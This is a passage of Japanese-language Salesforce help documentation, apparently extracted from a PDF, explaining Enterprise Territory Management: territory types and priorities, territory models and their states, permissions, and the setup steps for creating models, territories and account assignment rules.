Developer Edition および
Performance Edition と、
Sales Cloud が付属した
Enterprise Edition および
Unlimited Edition

テリトリー種別は、会社にとって重要な特性でテリトリーを整理するのに役立
ちます。作成するすべてのテリトリーには、テリトリー種別が必要です。テリ
トリー種別は、テリトリーの整理および作成にのみ使用され、テリトリーモデ
ル階層には表示されません。

メモ: この情報は、エンタープライズテリトリー管理にのみ適用され、以
前のバージョンのテリトリー管理には適用されません。

たとえば、「Universal Telco 社の指定取引先」というテリトリー種別を作成
し、その種別から指定取引先を含むテリトリーを作成することがあります。ま
たは、「US Geographic」というテリトリー種別を作成し、その種別から状態
または地域に基づいてテリトリーを作成することもあります。
テリトリー種別を作成するときに、どのようなテリトリーがこの種別に属する
かを表示ラベルと説明で明確に示します。
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テリトリー種別の優先度

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Developer Edition および
Performance Edition と、
Sales Cloud が付属した
Enterprise Edition および
Unlimited Edition

テリトリー種別の優先度情報の指定と管理は、作成または編集したテリトリー
に適切なテリトリー種別を選択するのに役立ちます。定義済みの優先度オプショ
ンは存在しないため、組織で独自の優先度スキーマを作成する必要があります。
たとえば、001 をテリトリー種別の最も高い優先度または最も低い優先度にす
ることができます。テリトリー種別をさらに追加した場合にスキーマを拡張で
きるようにします。
新規テリトリーを作成するときに、[テリトリー種別] 参照項目からテリトリー
種別を選択します。参照項目から、テリトリー種別に割り当てられた優先度を
参照できます。

例: 組織で、その年の営業戦略を反映するテリトリー種別の優先度を使用
します。来年度は US West Coast (西海岸) よりも US East Coast (東海岸) 内での商
談がより多く期待されるため、East Coast (東海岸) テリトリー種別に優先度
001 を割り当て、West Coast (西海岸) テリトリー種別に 005 を割り当てま
す。これらの優先度の割り当てによって、テリトリーレコードの作成で正
しいテリトリー種別を選択できます。ミッドイヤーに、プロジェクトは
Great Lakes (五大湖) 地域で予想以上の商談の増加が見られたため、営業戦略
の変更を反映させて「Great Lakes (五大湖)」という新しいテリトリー種別を
作成し、優先度 003 を割り当てます。

テリトリー

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Developer Edition および
Performance Edition と、
Sales Cloud が付属した
Enterprise Edition および
Unlimited Edition

テリトリーにより、取引先のグループおよびその取引先を操作する Salesforce ユー
ザのグループが編成されます。テリトリーは、テリトリー種別に基づいて作成
されます。

メモ: この情報は、エンタープライズテリトリー管理にのみ適用され、以
前のバージョンのテリトリー管理には適用されません。

テリトリーレコードには、割り当てられたユーザ、手動で割り当てられた取引
先、取引先を自動的に割り当てるルールが示されます。テリトリーには、上位
テリトリーと下位テリトリーの両方を使用できます。組織での取引先の割り当
て方法に応じて、取引先を複数のテリトリーに割り当てることができます。
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テリトリーモデル

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Developer Edition および
Performance Edition と、
Sales Cloud が付属した
Enterprise Edition および
Unlimited Edition

テリトリーモデルは、組織の完全なテリトリー管理システムを表します。最適
なモデルを有効化する前に、モデル化を使用して、複数のテリトリー構造や、
取引先およびユーザの異なる割り当てを作成およびプレビューできます。

メモ: この情報は、エンタープライズテリトリー管理にのみ適用され、以
前のバージョンのテリトリー管理には適用されません。

各テリトリーモデルには、グラフィカルな階層が備えられています。階層には、
モデルのテリトリー構造 (上位テリトリーと下位テリトリーを含む) が表示され、
テリトリーの作成、編集、削除、および詳細ページの参照を行うことができま
す。組織では最大 4 つの異なるテリトリーモデルを一度に作成および変更でき
ますが、一度に有効化できるのは 1 つのモデルのみです。ユーザおよび取引先
の割り当てを最終決定するために使用するモデルを有効化します。

テリトリー階層

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Developer Edition および
Performance Edition と、
Sales Cloud が付属した
Enterprise Edition および
Unlimited Edition

テリトリー階層には、モデルのテリトリー構造が表示され、メインの操作ポイ
ントとしての役割を果たします。階層から開始して、テリトリーの作成、編集、
および削除、テリトリーの割り当てルールの実行、テリトリーの詳細ページに
移動して詳細情報の確認を行います。階層から、商談へのテリトリーの割り当
て、モデルレベルでの割り当てルールの実行、モデルの有効化またはアーカイ
ブを行うこともできます。

メモ: この情報は、エンタープライズテリトリー管理にのみ適用され、以
前のバージョンのテリトリー管理には適用されません。
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テリトリーモデルの名前とその状態は、階層の最上位ノードに表示されます (1)。親テリトリーと子テリトリー
は、モデル名の下にネストされます (2)。新しい子テリトリーを作成または編集するか、その割り当てルール
を実行します (3)。テリトリーを商談に割り当てる検索条件を実行します (4)。モデル内のすべてのテリトリー
の割り当てルールを実行します (5)。マウスポインタを置くと、ルールの最終実行日が表示されます (6)。モデ
ルの状態を [有効] または [アーカイブ] に設定します (7)。並び替え済みリストビューとツリービューを切り
替えます (8)。

テリトリーモデルの状態

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Developer Edition および
Performance Edition と、
Sales Cloud が付属した
Enterprise Edition および
Unlimited Edition

テリトリーモデルの状態は、テリトリーが計画、使用中、アーカイブ済みのど
のフェーズにあるかを示します。組織では一度に 1 つの 有効 テリトリーしか使
用できませんが、計画またはアーカイブ済み状態のモデルを複数作成して、他
のモデル化または参照に使用できます。

メモ: この情報は、エンタープライズテリトリー管理にのみ適用され、以
前のバージョンのテリトリー管理には適用されません。

状態にはテリトリーモデルのライフサイクルが反映されている場合もあれば、
状態が変化したときの処理時のエラーを示すものもあります。

定義ライフサイクル状態

作成するすべての新規テリトリーモデ
ルのデフォルトの状態です。計画状態

計画

では、リリースする前にモデルのテリ
トリー階層をプレビューできます。計
画状態のモデルでは、取引先に対して
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定義ライフサイクル状態

テリトリー関連のアクセスはできません。

テリトリーモデルを有効化し、すべての処理が完了し
た後の状態です。Salesforce組織で一度に有効化できる
のは 1 つのモデルのみです。
有効 状態のモデルでは、階層、テリトリー、割り当
て済みのすべての取引先とユーザなど、モデルの詳細

有効

を参照できます。有効なモデルのテリトリーに割り当
てられたユーザは、そのモデル内で割り当てられた取
引先にアクセスし、変更することができます。

テリトリーモデルをアーカイブし、すべての処理が完
了した後の状態です。アーカイブされたモデルでは、

アーカイブ済み

ユーザは取引先にアクセスできませんが、システム管
理者は、モデルを有効化したときに設定された階層と
ルールの割り当てを参照できます。アーカイブできる
のは有効なモデルのみで、アーカイブされたモデル
を再度有効化することはできません。
テリトリーモデルをアーカイブした場合や有効なモデ
ルのテリトリーを削除した場合は、これらのテリト
リーが割り当てられた商談レコードの [テリトリー]

項目の値が空白にリセットされます。

定義エラー状態

有効化中にエラーが発生しました。詳細は、Salesforce

からのメールを確認してください。
有効化失敗

有効化中にエラーが発生しました。詳細は、Salesforce

からのメールを確認してください。
アーカイブ失敗
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エンタープライズテリトリー管理の機能とデータアクセスに権限が与える影響は?

エディション

使用可能なインター
フェース: Salesforce Classic

使用可能なエディション:
Developer Edition および
Performance Edition と、
Sales Cloud が付属した
Enterprise Edition および
Unlimited Edition

エンタープライズテリトリー管理を実装する場合は、機能の権限がどのように
システム管理に影響し、レコードおよびデータへのアクセスが提供されるのか
を把握する必要があります。

メモ: この情報は、エンタープライズテリトリー管理にのみ適用され、以
前のバージョンのテリトリー管理には適用されません。

ユーザ権限によりユーザに適切なアクセスレベルが提供されることを確認して
ください。たとえば、営業担当マネージャと選択された営業マネージャがテリ
トリーを管理できるように設定する必要があるとします。この場合は、これら
のマネージャに「テリトリーの管理」権限を割り当てます。また、取引先割り
当てルールを作成する場合は、取引先の「すべて表示」権限も必要です。

これらの権限、ロール、または所有権
が必須

次の操作をするユーザ

「テリトリーの管理」• テリトリーモデルとすべての関連
レコード (テリトリー種別など) を
作成する。

• 計画中、有効、アーカイブ済みのす
べての状態のテリトリーモデルを
参照および管理する。

• テリトリーモデルを有効化、アー
カイブ、削除、またはコピーする。

• すべての状態 (計画中、有効、アー
カイブ済み) のモデルに含まれるテ
リトリーのテリトリー割り当て済
み取引先レコードでテリトリー情
報を参照する。

取引先に対する「テリトリーの管理」
および「すべて表示」

• 取引先割り当てルールを作成また
は編集する。

メモ: 取引先割り当てルールに使
用できる項目は、設定されていれ
ば、取引先項目レベルセキュリ
ティの設定によって異なります。
たとえば、ユーザが取引先割り当
てルールを作成する適切な権限を
持っていても、プロファイルに
よって取引先オブジェクトの [年
間売上]項目を参照することがで
きないとします。このユーザは、
この項目を含むアカウント割り当
てルールを作成できません。
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これらの権限、ロール、または所有権が必須次の操作をするユーザ

「設定・定義を参照する」• テリトリー設定を含め、Salesforce 設定ツリーを参
照する。 メモ: 標準ユーザプロファイルでは、「設定・定

義を参照する」がデフォルトで有効になってい
ます。

• 関連レコード (テリトリー種別や割り当てルール
など) およびその他の要素 (テリトリー階層など) を
含め、有効状態のテリトリーモデルを参照する。

• 有効テリトリーモデルに含まれるテリトリーに割
り当てられたすべての取引先レコードの名前を参
照する。

• 有効状態のモデルのみに含まれるテリトリーのテ
リトリー割り当て済み取引先レコードでテリト
リー情報を参照する。

「テリトリーの管理」テリトリー、割り当て済みレコード、またはルール
を含むレポートで、計画中 および アーカイブ済み 状
態のモデルのデータを参照する。

商談の取引先への共有アクセス権。取引先への共有ア
クセス権があるユーザは、有効な任意の有効なテリト

テリトリーを商談に手動で割り当てる。

リーを商談に割り当てることができます。共有アクセ
ス権がないユーザは、商談の取引先にも割り当てられ
ているテリトリーのみを割り当てることができます。

メモ: テリトリーの手動割り当てでは、テリト
リーの取引先に商談を割り当てることを推奨し
ますが、共有アクセス権があるユーザは、有効
なテリトリーモデルの任意のテリトリーを検索
し、割り当てることができます。

商談にテリトリーを割り当てると、テリトリーモデル
の階層でそのテリトリーより上位のテリトリーに割り
当てられているすべての Salesforce ユーザにその商談が
共有されます。
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Salesforce 組織の営業テリトリーの管理

エディション

使用可能なインター
フェース: Salesforce Classic

使用可能なエディション:
Developer Edition および
Performance Edition と、
Sales Cloud が付属した
Enterprise Edition および
Unlimited Edition

ユーザ権限

テリトリーを管理する
• 「テリトリーの管理」

エンタープライズテリトリー管理を使用して、組織の営業テリトリーを管理お
よび保持します。テリトリー種別を作成し、モデルを作成した後、取引先割り
当てルールを追加してテストします。モデルに満足したら、有効化し、ユーザ
と取引先を割り当てます。組織にロールアウトし、レポートを実行してその影
響を評価し、必要に応じて調整します。

メモ: この情報は、エンタープライズテリトリー管理にのみ適用され、以
前のバージョンのテリトリー管理には適用されません。

テリトリーモデルの作成を開始する前に、アプローチを計画します。業種、年
間売上、所在地情報など、整理するための特性を選択し、組織の取引先を事業
方法に合う論理区分に振り分けます。

エンタープライズテリトリー管理の有効化
Winter '15 以降、システム管理者は新しい Salesforce 組織でエンタープライズテ
リトリー管理を有効にできます。Winter '15 より前のリリースで作成された組
織は、salesforce.com に連絡して機能を有効にする必要があります。エンター
プライズテリトリー管理は、カスタマイザブル売上予測が有効になっている
既存の組織では有効にできません。
エンタープライズテリトリー管理設定の定義
エンタープライズテリトリー管理を定義および設定します。
Chatter を使用したテリトリーモデルに関するコラボレーション
モデルレコードでのモデル開発で直接コラボレーションするには、テリトリーモデルオブジェクトで Chatter

フィード追跡を有効化します。チームは、投稿、コメントへの返信、ファイルの添付、モデルの状態が変
化したり重要な項目が更新されたりしたときの通知の取得を行うことができます。
テリトリーモデルの作成
テリトリーモデルには、テリトリー階層、取引先割り当て、ユーザ割り当てなど、組織のテリトリー管理
計画のすべての要素がまとめられています。階層を作成している間はモデルを計画状態にしておき、テリ
トリーの割り当てルールを定義し、テリトリーにユーザを追加し、ルールを実行して取引先割り当ての結
果を表示します。
取引先への 1 つ以上のテリトリーの手動割り当て
1 つ以上のテリトリーを、取引先レコードから取引先に直接割り当てます。取引先に割り当てることができ
るのは、計画 または 有効 状態のモデルに属すテリトリーのみです。
テリトリーへの 1 つ以上の割り当てルールの手動割り当て
1 つ以上のオブジェクト割り当てルールを、テリトリーレコードからテリトリーに直接割り当てます。使用
可能なルールは、テリトリーが属するテリトリーモデルから取得されます。
商談へのテリトリーの手動割り当て
商談レコードでは、その商談を担当する営業担当者に割り当てられたテリトリーを割り当て、追跡するこ
とができます。テリトリーの手動割り当ては、商談の割り当てられた (親) 取引先への共有アクセス権によっ
て制御されます。商談にテリトリーを割り当てると、テリトリーモデルの階層でそのテリトリーより上位
のテリトリーに割り当てられているすべての Salesforce ユーザにその商談が共有されます。
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商談テリトリー割り当て検索条件の実行
商談テリトリー割り当て検索条件では、Apex クラスの検索条件ロジックに基づいてテリトリーが商談に割
り当てられます。
テリトリーモデルのコピー
コピー機能では、テリトリーの異なる特性をテストするために使用できる、テリトリーモデルのコピーを
作成できます。新しいモデルには、元のテリトリー、割り当てルール、ユーザ、手動で割り当てた取引先
が含まれます。コピーできるのは 計画中、有効、または アーカイブ済み 状態のモデルのみです。コピーが
完了すると、新しいモデルは 計画中 状態になります。
テリトリーへのユーザの割り当て
商品およびサービスの販売を行うテリトリーにユーザを割り当てます。有効 または 計画中 状態のモデル
に属するテリトリーにユーザを割り当てることができます。ただし、計画中 状態のモデルで行った割り当
ては、計画のみを目的としており、レコードへのユーザアクセスには影響しません。
テリトリーロール別のテリトリーユーザの特定
テリトリーロールを作成し、必要に応じてテリトリーユーザに割り当てて、テリトリー内のユーザの機能
を追跡します。ユーザは、異なるテリトリーで異なるロールを持つことができます。
テリトリーモデルの有効化
テリトリーモデルの構造およびテリトリー取引先割り当ての設定が終了したら、次にこれを有効化します。
また、さらにモデル化したり、参照したりするために、モデルを計画およびアーカイブ済み状態で保持する
こともできます。
システム管理者とユーザのエンタープライズテリトリー管理での権限およびアクセス設定
エンタープライズテリトリー管理の実装における重要なステップは、正しいテリトリーモデル要素、レコー
ド、レコード要素に適切なユーザが確実にアクセスするということです。
テリトリーの割り当てルールの実行
ルールが定義済みで、計画中 または 有効 状態のテリトリーモデルに属するテリトリーに取引先割り当て
ルールを実行します。テリトリーが計画状態の場合は、ルールを実行すると取引先の割り当てをプレビュー
できます。テリトリーが有効状態の場合は、ルールを実行すると、ルールに従って取引先がテリトリーに
割り当てられます。
割り当てルールが適用されるテリトリーの確認
ルールを使用して取引先をテリトリーに割り当てる場合は、単一のルールがどのテリトリーに適用される
かを確認すると役立つ場合があります。

関連トピック:

エンタープライズテリトリー管理の概念
エンタープライズテリトリー管理
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エンタープライズテリトリー管理の有効化

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Developer Edition および
Performance Edition と、
Sales Cloud が付属した
Enterprise Edition および
Unlimited Edition

ユーザ権限

エンタープライズテリト
リー管理を有効にする
• 「アプリケーションの

カスタマイズ」

Winter '15 以降、システム管理者は新しい Salesforce 組織でエンタープライズテリ
トリー管理を有効にできます。Winter '15 より前のリリースで作成された組織は、
salesforce.com に連絡して機能を有効にする必要があります。エンタープライズテ
リトリー管理は、カスタマイザブル売上予測が有効になっている既存の組織で
は有効にできません。

メモ: この情報は、エンタープライズテリトリー管理にのみ適用され、以
前のバージョンのテリトリー管理には適用されません。エンタープライズ
テリトリー管理とコラボレーション売上予測は、Salesforce 組織で同時に有
効化して使用できますが、現在、2 つの機能は連動するように統合されて
いません。

1. [設定] から、[クイック検索]ボックスに「テリトリー」と入力し、[設定]を選
択します。

2. [企業のテリトリー管理の有効化] をクリックします。

エンタープライズテリトリー管理設定の定義

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Developer Edition および
Performance Edition と、
Sales Cloud が付属した
Enterprise Edition および
Unlimited Edition

ユーザ権限

エンタープライズテリト
リー管理を設定する
• 「設定・定義を参照す

る」

および

「テリトリーの管理」

エンタープライズテリトリー管理を定義および設定します。

メモ: この情報は、エンタープライズテリトリー管理にのみ適用され、以
前のバージョンのテリトリー管理には適用されません。

テリトリーレコードのデフォルトのユーザアクセス権の定義
設定した営業テリトリーに関連付けられているレコードにユーザがアクセス
および変更する方法のデフォルト設定を指定します。デフォルトの設定で指
定されたアクセス権は、個々のテリトリーを作成または編集するときに変更
できます。
検索条件に基づく商談テリトリー割り当ての有効化
テリトリーから商談への検索条件に基づく割り当てを有効化し、設定しま
す。
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テリトリーレコードのデフォルトのユーザアクセス権の定義

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Developer Edition および
Performance Edition と、
Sales Cloud が付属した
Enterprise Edition および
Unlimited Edition

ユーザ権限

テリトリーモデルを作成
する
• 「設定・定義を参照す

る」

および

「テリトリーの管理」

設定した営業テリトリーに関連付けられているレコードにユーザがアクセスお
よび変更する方法のデフォルト設定を指定します。デフォルトの設定で指定さ
れたアクセス権は、個々のテリトリーを作成または編集するときに変更できま
す。

メモ: この情報は、エンタープライズテリトリー管理にのみ適用され、以
前のバージョンのテリトリー管理には適用されません。

標準レコードアクセス設定は、取引先と商談に適用されます。組織で取引先責
任者とケースに「非公開」のデフォルトの内部アクセス権を使用している場合
は、それらのレコードのアクセス権も設定できます。
1. [設定] から、[クイック検索]ボックスに「テリトリー」と入力し、[設定]を選

択します。
2. 取引先と商談のデフォルトのアクセス権を選択します。
3. 該当する場合は、取引先責任者とケースのデフォルトのアクセス権を選択し

ます。
4. [保存] をクリックします。

関連トピック:

組織の共有設定
組織の共有設定の設定

検索条件に基づく商談テリトリー割り当ての有効化

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Developer Edition および
Performance Edition と、
Sales Cloud が付属した
Enterprise Edition および
Unlimited Edition

ユーザ権限

エンタープライズテリト
リー管理を有効にする
• 「アプリケーションの

カスタマイズ」

テリトリーから商談への検索条件に基づく割り当てを有効化し、設定します。

メモ: この情報は、エンタープライズテリトリー管理にのみ適用され、以
前のバージョンのテリトリー管理には適用されません。

1. [設定] から、[クイック検索]ボックスに「テリトリー」と入力し、[設定]を選
択します。

2. 検索条件に基づく商談テリトリー割り当てを有効化します。
3. Salesforce が提供する Apex コードを組織で使用している場合は、まずクラスを

作成してから、この [設定] ページに戻り、クラス名
「OppTerrAssignDefaultLogicFilter」を入力します。Apex クラスに独
自のコードを使用する場合は、このページに戻り、作成したクラスの名前を
入力します。

4. 検索条件に基づく商談テリトリー割り当てを商談の作成時に実行する場合
は、そのオプションを選択します。

5. 設定を保存します。
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Chatter を使用したテリトリーモデルに関するコラボレーション

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Developer Edition および
Performance Edition と、
Sales Cloud が付属した
Enterprise Edition および
Unlimited Edition

ユーザ権限

Chatter 項目の追跡を有効
化する
• 「アプリケーションの

カスタマイズ」

テリトリーモデルレコー
ドで Chatter 投稿を共有す
る
• 「設定・定義を参照す

る」

および

「テリトリーの管理」

モデルレコードでのモデル開発で直接コラボレーションするには、テリトリー
モデルオブジェクトで Chatter フィード追跡を有効化します。チームは、投稿、
コメントへの返信、ファイルの添付、モデルの状態が変化したり重要な項目が
更新されたりしたときの通知の取得を行うことができます。

メモ: この情報は、エンタープライズテリトリー管理にのみ適用され、以
前のバージョンのテリトリー管理には適用されません。

Chatter フィード追跡を有効にして設定すると、テリトリーモデルレコードへの
アクセス権がある全員が Chatter を使用してそのモデルに関してコラボレーショ
ンできます。レコードをフォローしているユーザは、追跡項目が更新されたと
きに、各自の Chatter フィードで更新を取得します。
1. 組織で Chatter が有効になっていることを確認します。
2. [設定] から、[クイック検索] ボックスに「フィード追跡」と入力し、[フィー

ド追跡] を選択します。
3. テリトリーモデルオブジェクトを選択します。フィード追跡を有効化してか

ら、追跡するテリトリーモデル項目を選択します。
4. [保存] をクリックします

組織のテリトリーモデルレコードの先頭に Chatter フィードが表示されます。
5. テリトリーモデルを管理する他のユーザに、Chatter を使用してモデルレコー

ドから直接テリトリーモデルをフォローし、コラボレーションできるように
なったことを伝えてください。

関連トピック:

Chatter フィード追跡のカスタマイズ
Salesforce Chatter
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テリトリーモデルの作成

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Developer Edition および
Performance Edition と、
Sales Cloud が付属した
Enterprise Edition および
Unlimited Edition

ユーザ権限

テリトリーモデルを作成
する
• 「設定・定義を参照す

る」

および

「テリトリーの管理」

テリトリーモデルには、テリトリー階層、取引先割り当て、ユーザ割り当てな
ど、組織のテリトリー管理計画のすべての要素がまとめられています。階層を
作成している間はモデルを計画状態にしておき、テリトリーの割り当てルール
を定義し、テリトリーにユーザを追加し、ルールを実行して取引先割り当ての
結果を表示します。

メモ: この情報は、エンタープライズテリトリー管理にのみ適用され、以
前のバージョンのテリトリー管理には適用されません。エンタープライズ
テリトリー管理とコラボレーション売上予測は、Salesforce 組織で同時に有
効化して使用できますが、現在、2 つの機能は連動するように統合されて
いません。

1. テリトリー種別の作成
テリトリー種別は、各テリトリーを分類および定義するのに役立ちます。テ
リトリー種別の作成は、Salesforce でテリトリーモデルを作成するうえでの最
初のステップです。

2. テリトリーモデルレコードの作成
テリトリーモデルの作成の最初のステップは、テリトリー、ユーザ割り当
て、取引先割り当てなど他の要素を結び付けるレコードの作成です。テリト
リーモデルのレコードを作成すると、Salesforce によってレコードのテリト
リー階層が生成されます。

3. テリトリーの作成
組織のテリトリーモデルを作成するときにテリトリーを作成します。テリトリーを作成すると、モデルの
テリトリー階層に表示されます。

4. テリトリーの取引先割り当ての作成およびプレビュー
取引先は、自動的に割り当てるルールを作成するか、手動で割り当てるかのいずれかの方法でテリトリー
に割り当てます。ルールは、親テリトリーおよびその子孫の両方に適用されるように設定できます。手動
割り当ては、作成元のテリトリーにのみ適用されます。
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テリトリー種別の作成

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Developer Edition および
Performance Edition と、
Sales Cloud が付属した
Enterprise Edition および
Unlimited Edition

ユーザ権限

テリトリー種別を作成す
る
• 「設定・定義を参照す

る」

および

「テリトリーの管理」

テリトリー種別は、各テリトリーを分類および定義するのに役立ちます。テリ
トリー種別の作成は、Salesforce でテリトリーモデルを作成するうえでの最初の
ステップです。

メモ: この情報は、エンタープライズテリトリー管理にのみ適用され、以
前のバージョンのテリトリー管理には適用されません。

作成するテリトリー種別の例として、「指定取引先」、「直接取引先」、「オー
バーレイセールス」があります。
1. [設定] から、[クイック検索] ボックスに「テリトリー種別」と入力し、[テリ

トリー種別] を選択します。
2. [新規テリトリー種別] をクリックします。
3. 表示ラベルと説明を入力します。説明では、どのようなテリトリーがこの種

別に属するかを明確に示します。
4. テリトリー種別の優先度を指定します。
5. [保存] をクリックします。

関連トピック:

テリトリー種別の優先度

テリトリーモデルレコードの作成

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Developer Edition および
Performance Edition と、
Sales Cloud が付属した
Enterprise Edition および
Unlimited Edition

ユーザ権限

テリトリーモデルレコー
ドを作成する
• 「設定・定義を参照す

る」

および

「テリトリーの管理」

テリトリーモデルの作成の最初のステップは、テリトリー、ユーザ割り当て、
取引先割り当てなど他の要素を結び付けるレコードの作成です。テリトリーモ
デルのレコードを作成すると、Salesforce によってレコードのテリトリー階層が
生成されます。

メモ: この情報は、エンタープライズテリトリー管理にのみ適用され、以
前のバージョンのテリトリー管理には適用されません。

組織のSalesforceのエディションによって、本番組織および Sandbox 組織で作成で
きるテリトリーモデル数が決まります。この制限には、コピーによって作成さ
れたモデルも含まれます。

Sandbox 組織でのモデル
数

本番組織でのモデル数エディション

44Developer

22Enterprise

44Performance

44Unlimited
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1. [設定] から、[クイック検索]ボックスに「テリトリーモデル」と入力し、[テリトリーモデル]を選択します。
2. [新規テリトリーモデル] をクリックします。
3. 表示ラベル項目と説明項目を定義します。
4. [保存] をクリックします。

関連トピック:

エンタープライズテリトリー管理の制限

テリトリーの作成

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Developer Edition および
Performance Edition と、
Sales Cloud が付属した
Enterprise Edition および
Unlimited Edition

ユーザ権限

テリトリーを作成する
• 「設定・定義を参照す

る」

および

「テリトリーの管理」

組織のテリトリーモデルを作成するときにテリトリーを作成します。テリトリー
を作成すると、モデルのテリトリー階層に表示されます。

メモ: この情報は、エンタープライズテリトリー管理にのみ適用され、以
前のバージョンのテリトリー管理には適用されません。

デフォルトでは、各テリトリーモデルに最大 1,000 個のテリトリーを設定できま
す。
1. テリトリーを作成するテリトリーモデルを開きます。
2. 必要な場合は、ドロップダウンで [ツリービュー]を選択して、既存のテリト

リーも含め、モデルのテリトリー階層を表示します。
3. 最上位テリトリーを作成するには、テリトリーモデル名の上にカーソルを置

き、[テリトリーを作成] をクリックします。既存のテリトリーから子テリト
リーを作成するには、テリトリー名の上にカーソルを置き、[テリトリーを作
成] をクリックします。

4. [新規テリトリー] ページで、テリトリーを定義します。意味のある表示ラベ
ルを付けて、テリトリー種別を選択します。テリトリーで、取引先と商談へ
のユーザのアクセス権を、これらのレコードへのデフォルトのアクセス権と
異なる設定にする必要がある場合は、テリトリーのユーザのアクセスレベル
を定義します。

5. [保存] をクリックします。
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テリトリーの取引先割り当ての作成およびプレビュー

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Developer Edition および
Performance Edition と、
Sales Cloud が付属した
Enterprise Edition および
Unlimited Edition

取引先は、自動的に割り当てるルールを作成するか、手動で割り当てるかのい
ずれかの方法でテリトリーに割り当てます。ルールは、親テリトリーおよびそ
の子孫の両方に適用されるように設定できます。手動割り当ては、作成元のテ
リトリーにのみ適用されます。

メモ: この情報は、エンタープライズテリトリー管理にのみ適用され、以
前のバージョンのテリトリー管理には適用されません。

モデルの取引先割り当てを確定する前に、モデルが計画状態の間に割り当てルー
ルおよび関連レポートを実行し、割り当てをプレビューします。計画した取引
先割り当てに問題がなければ、モデルを有効状態に変更します。次に、割り当
てルールを再度実行して、有効化プロセス中に作成または更新された、影響を
受ける取引先がテリトリーに含まれるようにします。

ルールを使用した取引先のテリトリーへの割り当て
新規または編集した取引先をテリトリーに自動的に割り当てるルールを作成し実行します。ルールは、該
当するテリトリーの定義に使用される特性を特定し、これらの特性に当てはまる取引先をそのテリトリー
に自動的に割り当てるようにエンタープライズテリトリー管理に指示します。テリトリーが計画状態の場
合は、ルールを実行すると取引先の割り当てをプレビューできます。テリトリーが有効状態の場合は、ルー
ルを実行すると、ルールに従って取引先がテリトリーに割り当てられます。
テリトリーへの取引先の手動割り当て
ルールによってテリトリーに割り当てられない取引先は、1 つ以上のテリトリー (一度に 1 つずつ) に手動で
割り当てることができます。手動割り当ては、独特な特徴があるためルールで割り当てることのできない
取引先に使用できます。
テリトリーの取引先割り当てのプレビュー
テリトリーモデルを有効化する前に、テリトリーの取引先割り当てをプレビューし、確認する必要があり
ます。モデルが計画状態のときに割り当てルールを実行して、割り当てをプレビューします。また、手動
割り当ても確認します。
取引先に割り当てられたテリトリー内のユーザの識別
取引先とユーザはテリトリーに別々に割り当てられますが、取引先がテリトリーに割り当てられると、テ
リトリー内のユーザがその取引先にアクセスできます。取引先レコードを調べれば、テリトリー内のユー
ザをすぐに確認できます。
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ルールを使用した取引先のテリトリーへの割り当て
エディション

使用可能なインター
フェース: Salesforce Classic

使用可能なエディション:
Developer Edition および
Performance Edition と、
Sales Cloud が付属した
Enterprise Edition および
Unlimited Edition

ユーザ権限

テリトリー内でルールを
作成する
• 「アプリケーションの

カスタマイズ」

「テリトリーの管理」

新規または編集した取引先をテリトリーに自動的に割り当てるルールを作成し
実行します。ルールは、該当するテリトリーの定義に使用される特性を特定し、
これらの特性に当てはまる取引先をそのテリトリーに自動的に割り当てるよう
にエンタープライズテリトリー管理に指示します。テリトリーが計画状態の場
合は、ルールを実行すると取引先の割り当てをプレビューできます。テリトリー
が有効状態の場合は、ルールを実行すると、ルールに従って取引先がテリトリー
に割り当てられます。

メモ: この情報は、エンタープライズテリトリー管理にのみ適用され、以
前のバージョンのテリトリー管理には適用されません。

ヒント: ルールがテリトリーに割り当て済みの別のルールの子である場合
は、ルールをテリトリーに割り当てないことをお勧めします。テリトリー
に適用されるルールを見つけるには、テリトリーのレコード詳細ページを
開き、[このテリトリーに割り当てられた割り当てルール] 関連リストを確
認します。ルールで [子テリトリーに適用] がオンになっている場合は、
ルールを子テリトリーに別個に割り当てないでください。

1. テリトリーモデル階層から、ルールを作成するテリトリーを開きます。
2. 詳細ページの [このテリトリーに定義された割り当てルール] 関連リストで、

[新規] をクリックします。
3. メモ: 組織で州/国選択リストが有効化されている場合、条件として州を

使用するテリトリー割り当てルールでは、equals 一致の代わりに
contains 一致を使用する必要があります。

ルールの編集ページで、新しいルールの名前を入力し、選択条件を定義します。
4. ルールを現在のテリトリーの子孫にも適用する場合は、[下位テリトリーへの適用] チェックボックスをオ

ンにします。
5. ユーザが取引先を作成または編集すると自動的にルールが実行されるようにするには、[有効]チェックボッ

クスをオンにします。
6. [保存] をクリックし、ルールを保存してテリトリーの詳細ページに戻ります。
7. (省略可能) [このテリトリーに定義された割り当てルール] 関連リストで、[ルールの実行] をクリックしま

す。
プロセスが完了すると、メールで通知されます。

例: ルールは、テリトリーおよび子テリトリー内で連携して動作します。たとえば、「アメリカ合衆国西
部」というテリトリー、および「ワシントン」、「オレゴン」、「カリフォルニア」という子テリトリー
を作成します。「アメリカ合衆国西部」テリトリーレコードで、ワシントン、オレゴン、カリフォルニ
アの取引先をこのテリトリーに割り当てるルールを作成します。このルールを子テリトリーに割り当て、
次に「カリフォルニア」テリトリーレコードで「カリフォルニア」の取引先を「カリフォルニア」テリ
トリーに割り当てるルールを作成します。
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「カリフォルニア」テリトリーの子テリトリーでは、「カリフォルニア」テリトリールールを子テリト
リーに継承可能とマークした場合、条件で州を指定する必要はありません。代わりに、郵便番号や業種
など、より具体的な条件を使用できます。

関連トピック:

割り当てルールの有効化および下位テリトリーへの適用

テリトリーへの取引先の手動割り当て
エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Developer Edition および
Performance Edition と、
Sales Cloud が付属した
Enterprise Edition および
Unlimited Edition

ユーザ権限

テリトリー内で取引先を
手動で割り当てる
• 「設定・定義を参照す

る」

および

「テリトリーの管理」

ルールによってテリトリーに割り当てられない取引先は、1 つ以上のテリトリー
